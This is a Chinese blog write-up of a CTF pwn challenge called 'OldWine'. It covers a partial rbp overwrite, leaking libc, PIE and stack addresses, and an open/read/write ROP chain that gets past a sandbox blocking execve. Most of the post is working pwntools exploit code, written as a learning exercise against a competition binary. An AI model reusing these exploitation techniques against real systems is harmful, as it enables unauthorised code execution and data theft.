京麒——OldWine

京麒——OldWine

不会打,太坐牢了,只能复现了qwq(没想到时间拖了这么久)

分析

开了一个沙箱,把execve禁了

image

然后权限限制得很死

image

也不给我们可以用的寄存器

image

在程序中给了我们两个选项

image

image

1是可以向栈上写东西

如果输入2,就会调用一次leave然后回到菜单处

image

众所周知

1
2
leave = mov esp, ebp
pop ebp

思路

我当时没有思路,看了wp之后,发现师傅们都是修改bp的后两位,使bp位于sp前

终于,经过我不懈的调试,终于懂了这道题目该怎么做了

首先这道题目一定得先链接出题人给的libc库,我开始使用的自己的库(开始还以为做栈上的题影响不大呢,看来自己见识的还是太少了),调试的时候rbp里面存放的值是1,导致我一直不知道其他师傅的wp里面写的覆盖rbp后两位然后让rbp位于rsp之前是怎么做到的

这是使用的我自己的库

屏幕截图 2025-05-27 151452

这是使用出题人给的库

屏幕截图 2025-05-27 165814

可以看到rbp里面放的东西完全不一样(但是为什么不同的库会导致rbp里面的值不一样我还不知道,要是有师傅知道,可以留言告诉我一下吗)

然后我们之后就可以通过溢出使old_rbp的后两位覆盖为00,使得有一定机率之后让rbp小于等于rsp

然后我们进入到read函数里面,可以看到

image

执行完read函数返回时,只用了ret=pop rip​,所以返回地址现在是放在rsp里面的

image

然后,我们看一下在调用read函数之前的寄存器

image

我们看到,rsi寄存器(写入数据的地址)里面放的是[rbp-0x10]+rcx​,此时因为我们把rbp放到了rsp的前面,就可以通过read的溢出覆盖到rsp,而rsp里面存放的是返回地址,此时就算我们不知道程序中的具体位置,也可以覆盖返回地址后两位跳转到write进行泄露

image

image

可以看到已经泄露出来东西了

本来后续想用栈迁移写的,但是不知道为什么栈迁移不稳定的因素太多了,很难调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
io.sendline(b'64')
io.sendlineafter(b'index: ',b'16')
io.send(p64(start+0x4300))#rsp=start+0x4300
leave()

cmd1(8,16,p64(start+0x4100))#rbp=start+0x4100
leave()

payload=b'flag'+b'\x00'+b'\x00'+b'\x00'+b'\x00'
payload+=p64(start+0x14f5)

payload+=p64(rdi)+p64(start+0x40f8)+p64(rsi)+p64(0)+p64(rax)+p64(0x2)+p64(syscall)#open
payload+=p64(rdi)+p64(0x3)+p64(rsi)+p64(start+0x4400)+p64(rax)+p64(0)+p64(syscall)#read
payload+=p64(rdi)+p64(1)+p64(rsi)+p64(start+0x4400)+p64(rax)+p64(0x1)+p64(syscall)#write

cmd1(len(payload),8,payload)


cmd1(8,0x210,p64(start+0x4101))

print('where is my flag')

pause()

本来是这么写的,但是问题很多,栈迁移在一些情况下bp里面的值会被覆盖导致栈迁移失败,然后有一次到了我写的payload位置,但是不知道为什么,卡着动不了了,实在是不想调这个了,所以打算换一种方法写

于是我看了一下,可以泄露出栈上面的一个地址,然后已知rbp的值末尾一定为00,如果我们把我们泄露出的栈上末尾改为00,相当于我们就获得了rbp的地址(这里的输出名字改了一下,原来的stack输出的其实是起始地址,现在的stack才是真正的栈上地址)

image

可以看到我们获得了rbp的地址,所以我们就可以把flag输入到栈上,然后由于我们循环进来的i让我们覆盖到了位于rsp的返回地址上,此时,我们再输入cmd1(8,8*i,payload)​就可以把payload放到返回地址上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import*
context(os='linux',arch='amd64',log_level='debug')


io = process('./pwn')
elf=ELF('./libc.so.6')

def cmd(cmd):
io.sendlineafter(b'2. stack pivoting\n',str(cmd))

def cmd1(size,index,con):
cmd(1)
io.sendlineafter(b'size: ',str(size))
io.sendlineafter(b'index: ',str(index))
io.send(con)

def leave():
cmd(2)


cmd1(1,16,b'\x00')
leave()

for i in range(2,30):
cmd1(0x20,i*8,b'\x45')
data=io.recv(0x18).strip()
print('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',data)
if b'stack' not in data:
data1=data[:16]
start=u64(data1[:6].ljust(8,b'\x00'))
glibc=u64(data1[-8:])
stack=u64(data[-8:])& ~0xff
print('stack:',hex(stack))
print('glibc',hex(glibc))
print('start:',hex(start))
libc_base=glibc-(0x7f24e43751ca-0x7f24e434b000)
start=start-0x144f

bss=start+0x4200
# gdb.attach(io)
io.recv()
rdi=libc_base+0x000000000010f75b
rsi=libc_base+0x0000000000110a4d
rax=libc_base+0x00000000000dd237
syscall=libc_base+0x0000000000012725b
io.sendline(b'20')
io.sendlineafter(b'index: ',b'8')
# gdb.attach(io)
io.send(b'flag'+b'\x00'*4)

payload=p64(rdi)+p64(stack-0x8)+p64(rsi)+p64(0)+p64(rax)+p64(0x2)+p64(syscall)#open
payload+=p64(rdi)+p64(0x3)+p64(rsi)+p64(bss)+p64(rax)+p64(0)+p64(syscall)#read
payload+=p64(rdi)+p64(1)+p64(rsi)+p64(bss)+p64(rax)+p64(0x1)+p64(syscall)#write

cmd1(len(payload),8*i,payload)

io.interactive()


io.interactive()

我本来把b’flag’的字符放在rbp上的,但是不知道为什么,会被覆盖,但是放在rbp-8处就不会被覆盖

让后还有一个问题,我使用syscall后不会跳回来(使用ROPgadget --binary pwn --only 'syscall'​找到的syscall就不会返回,

image

没办法,我直接进libc.so.6里面找的可以返回的syscall

太不容易了,终于调出来了(这个环境总把我写的东西覆盖掉qwq)

image


京麒——OldWine
http://example.com/post/kyoki--oldwine-1yet2t.html
作者
N1mbus
发布于
2025年6月7日
更新于
2025年6月7日
许可协议